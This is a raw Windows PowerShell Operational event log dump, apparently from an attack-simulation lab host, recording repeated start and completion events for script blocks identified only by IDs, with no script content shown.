Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045012
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045011
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045010
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045009
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045008
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045007
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045006
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045005
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045004
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045003
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045002
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045001
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045000
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044999
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044998
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044997
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044996
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044995
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044994
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044993
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044992
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044991
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044990
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044989
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044988
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044987
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044986
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044985
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044984
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044983
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044982
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044981
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044980
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044979
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044978
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044977
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044976
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044975
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044974
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044973
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044972
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044971
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044970
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044969
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044968
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044967
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044966
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044965
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044964
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044963
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044962
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044961
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044960
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
